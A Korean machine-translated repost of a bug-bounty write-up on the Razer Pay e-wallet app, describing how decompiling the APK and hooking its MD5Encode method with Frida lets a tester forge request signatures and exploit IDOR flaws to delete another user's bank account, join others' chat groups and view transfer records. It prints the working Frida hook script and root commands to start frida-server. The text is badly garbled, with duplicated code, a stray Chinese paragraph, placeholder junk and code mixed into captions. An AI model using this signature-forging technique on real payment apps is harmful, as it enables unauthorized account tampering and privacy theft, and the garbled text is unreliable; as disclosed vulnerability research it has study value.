> 운영 및 유지보수 > 안전 > 전자지갑 APP 취약점 분석 방법

전자지갑 APP 취약점 분석 방법

王林
풀어 주다: 2023-05-12 21:55:10
앞으로
1557명이 탐색했습니다.

Razer Pay는 싱가포르와 말레이시아에서 널리 사용됩니다. 이 글에서 저자는 Razer Pay Ewallet에서 사용자 서명을 발견하기 위해 APP 역분석과 Frida 디버깅을 사용하여 Razer 결제 사용자의 채팅 기록을 읽을 수 있는 취약점을 생성합니다. , 사용자의 바인딩된 은행 계좌를 삭제하고 사용자의 민감한 개인 정보를 훔칩니다. 이 취약점으로 인해 Razer는 결국 거의 $6,000에 달하는 공식 보상을 받았습니다. 다음은 자세학습을 위한 참고자료로만 활용될 수 있는 저자의 취약점 발견 아이디어이다.

취약 배경

Razer Inc(RΛZΞR)는 싱가포르에 설립된 게임 주변 장비 회사로 "Green Light Factory"라고도 알려져 있으며 최근 몇 년간 가전 사업에 진출하기 시작했습니다. Razer의 본사는 싱가포르와 미국 샌디에이고에 있습니다. 2017년 11월 홍콩증권거래소에 상장된 제품은 게이머를 타겟으로 하고 있으며, 대부분의 제품에 육식동물의 이름을 따서 명명되었습니다. 2018년 전자지갑 Razer Pay 출시. 2020년 5월 수술용 마스크 생산이 시작되었습니다.

Razer Pay Ewallet의 요청 변조 방지 메커니즘에서는 auth_token 외에도 매개변수 서명을 사용하여 서버에 대한 각 GET 및 POST 요청에 대해 서명 확인을 수행합니다. 아래 그림과 같이 인코딩된 서명 매개변수 값과 사용자 ID:

전자지갑 APP 취약점 분석 방법

따라서 요청 매개변수를 변조하고 다시 보내려는 시도는 유효하지 않지만 APK 역분석 결과 Razer 결제 전자 wallet(Razer 결제 전자지갑) Pay Ewallet에는 사용자 서명(Signature) 생성 취약점이 있으며, Frida의 분석 및 활용과 결합되어 새로운 사용자 서명(Signature)을 자동으로 계산 및 생성할 수 있으며, 이로 인해 많은 무단 권한이 발생할 수 있습니다. IDOR) 문제.

Razer Payment 앱의 네트워크 요청을 캡처하기 위해 Burp를 사용했을 때 요청의 사용자 서명(서명) 보호로 인해 많은 매개변수를 변조할 수 없다는 사실을 발견하고 즉시 생각했습니다. 또 다른 Razer 결제 사용자가 테스트에 협조해 주셨는데, 두 명의 사용자가 동일한 요청을 한 경우 세션 페이로드가 교체된 후 실행이 무효화되었기 때문입니다. ) 아직 거기에 있었어요.

사용자 서명(Signature) 생성 메커니즘을 분석하기로 했습니다. apktool과 Jadx-Gui 디컴파일을 통해 APP 작동에 대한 코드 수준의 이해를 얻었고 "라는 코드가 있다는 것을 발견했습니다. MD5Encode" 이름에서 알 수 있듯이 메서드 함수는 MD5 암호화 알고리즘을 사용합니다. 일부 매개변수 페이로드를 결합한 후 사용자 서명(Signature)을 생성해 보기로 했지만 아무리 노력해도 올바른 사용자 서명을 생성할 수 없었습니다. 매개변수의 순서가 잘못되었거나 잘못된 것일 수도 있습니다. 색다른 MD5 암호화.

전자지갑 APP 취약점 분석 방법

다른 사용자의 은행 계좌 삭제

포기하거나 포기하지 마세요. 사용자 서명 생성과 관련된 모든 코드를 복사한 다음 IDE 디버깅 도구 IntelliJ IDEA를 사용하여 생성해 보았습니다. "MD5Encode"에서 메소드를 적용하는 과정에서 매개변수의 순서를 정확하게 조합했지만, 코드 난독화로 인해 약간의 미세 조정이 필요하지만 크게 어렵지는 않습니다. 마지막으로, 앞서 생성된 요청 본문에 올바른 매개변수 값을 삽입하고, 위 코드를 사용하여 올바른 사용자 서명(Signature) 문자열을 생성해보세요!

(편집자는 다음 다중 사용자 서명 생성 과정에서 매개 변수 중 하나인 사용자 고유의 토큰이 사용된다고 분석했습니다. 그런 다음 MD5Encode 메서드를 통해 여러 사용자 ID에 해당하는 서로 다른 사용자 서명이 생성될 수도 있습니다. 즉, 각 사용자 서명을 성공적으로 생성할 수 있습니다. Razer 서버에서 여러 사용자에게 할당된 서명)

전자지갑 APP 취약점 분석 방법

전자지갑 APP 취약점 분석 방법

이에서 가장 먼저 생각한 것은 무단 액세스 취약점(IDOR)을 테스트하는 것이었고, 사용자가 바인딩한 은행 계좌를 삭제하는 작업인 보다 민감한 API 인터페이스/deleteBankAccount를 선택한 다음 두 계정의 테스트 시나리오에서 다른 Razer Pay 사용자의 바인딩된 은행 계좌를 성공적으로 삭제할 수 있습니다!

전자지갑 APP 취약점 분석 방법

다른 사용자가 만든 채팅 그룹에 참여하기

이 시점에서 IDOR 재정의 문제가 있는 Signature로 보호되는 다른 API 인터페이스가 있어야 한다고 생각하여 위의 방법을 사용하여 일련의 테스트를 시도했지만 아무것도 발견되지 않았습니다. 더욱이, 다른 API 인터페이스는 다른 코드 난독화 방법을 사용했기 때문에 이를 조사하고 분석하는 데 많은 시간을 소비했습니다. 잘 모르겠을 때 Frida를 사용해 보세요. Frida는 매우 사용하기 쉬운 디버깅 도구입니다. 이를 사용하면 위의 MD5Encode 방법과 결합하여 올바른 전자 지갑을 찾을 수 있습니다. .Code 패키지를 사용하면 이러한 메서드와 함수를 사용하여 새로운 올바른 사용자 서명 Signature를 생성할 수도 있습니다.

다음 frida.js 코드로 구현된 기능은 현재 사용자가 다른 사용자가 만든 채팅 그룹에 참여할 수 있도록 새 사용자 서명을 생성하는 것입니다.

<br>
로그인 후 복사
로그인 후 복사

<code>// frida.js - 다음 용도로 사용하세요. 다른 사람의 채팅 그룹에 사용자를 추가하기 위해 서명을 다시 계산하는 중<code>// frida.js - Use this for recalculating signature for adding user to other people's chatgroup

<code>console.log("Starting...")

<code>Java.perform(function () {

<code>var MD5 = Java.use('com.mol.molwallet.view.MD5')

<code>MD5.MD5Encode.implementation = function (arg)

<code>{

<code>console.log("Hooking class MD5 - method MD5Encode")

<code>//Extra step - calculate new signature

<code>var ret_value = this.MD5Encode("groupId=1x9&userIds=95xxx7&token=b6fxxxd3-2xxc-4xxf-bxx7-7fxxxxa6")

<code>console.log("[+]  signature= " + ret_value)

<code>//Call method with original arguments so app doesn't crash ..

<code>var ret_value = this.MD5Encode(arg) //original value

<code>console.log("original ARG: " + arg) 

<code>return ret_value;

<code>}

<code>})

但是要运行Frida,需要root级别的访问,好在我另外发现了一个服务端漏洞可以让攻击者在一台root过的移动设备中执行操作,以下为在移动设备中启动Frida服务的命令:

<br>
로그인 후 복사
로그인 후 복사

$ adb shell

# sudo su

# /data/local/tmp/frida-server

<code>console.log("Starting...")

<code>Java.perform(function () {

<code>var MD5 = Java.use('com.mol.molwallet.view.MD5')

전자지갑 APP 취약점 분석 방법<code>MD5.MD5Encode.implementation = 함수(인수)

<code>{전자지갑 APP 취약점 분석 방법

<code>console.log("후킹 클래스 MD5 - 메소드 MD5Encode")

<code>//추가 단계 - 새 서명 계산

<code>var ret_value = this.MD5Encode("groupId=1x9&userIds=95xxx7&token=b6fxxxd3-2xxc-4xxf-bxx7-7fxxxxa6")🎜🎜<code>콘솔. log ("[+] 서명= " + ret_value)🎜🎜<code>//앱이 충돌하지 않도록 원래 인수를 사용하여 메서드를 호출합니다.. 🎜🎜<code>var ret_value = this.MD5Encode(arg) //원래 값🎜🎜<code>console.log("원래 ARG: " + arg) 🎜🎜<code>ret_value 반환;🎜🎜<code>}🎜🎜<code>})🎜🎜하지만 Frida를 실행하려면 루트 수준 액세스가 필요합니다. 다행히도 공격자가 루팅된 모바일 장치에서 작업을 수행할 수 있는 서버 측 취약점도 발견했습니다. 다음은 모바일 장치에서 Frida 서비스를 시작하는 명령입니다: 🎜
$ frida -l frida.js -U com.mol.molwallet
로그인 후 복사
🎜$ adb shell🎜🎜# sudo su🎜🎜# /data/local/ tmp/ frida-server🎜🎜그런 다음 다른 터미널 창에서 다음 명령을 실행합니다: 🎜rrreee🎜그런 다음 모바일 장치에서 Razer Payment APP를 열고 후크 메서드 "MD5Encode"를 호출합니다. 모든 작업은 위의 frida.js 스크립트를 실행하고 마지막으로 특정 사용자 요청에 대해 유효하고 올바른 사용자 서명 서명을 생성할 수 있습니다. 여기서 테스트 사례는 내가 직접 사용자 서명을 생성하고 이를 다음과 같이 사용할 수 있다는 것입니다. 다른 사용자가 만든 채팅 그룹에 가입하면 자신도 모르게 그룹에 가입한 후 다른 사람의 채팅 내용을 얻을 수 있거나 클릭하여 다른 사람이 보낸 빨간 봉투를 받을 수 있다는 위험이 있습니다. 🎜🎜🎜🎜🎜🎜🎜🎜로 인한 기타 보안 문제 🎜🎜위의 방법을 사용하여 Signature의 영향을 받는 다른 모든 API 인터페이스를 테스트한 결과 사용자 그룹 채팅에서 공유되는 빨간 봉투의 양을 이러한 API 인터페이스에서 얻을 수 있음을 발견했습니다. 또한, 다른 이용자의 이체기록 및 개인정보를 수정하고 조회할 수 있습니다. 🎜

위 내용은 전자지갑 APP 취약점 분석 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
app
원천:yisu.com
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿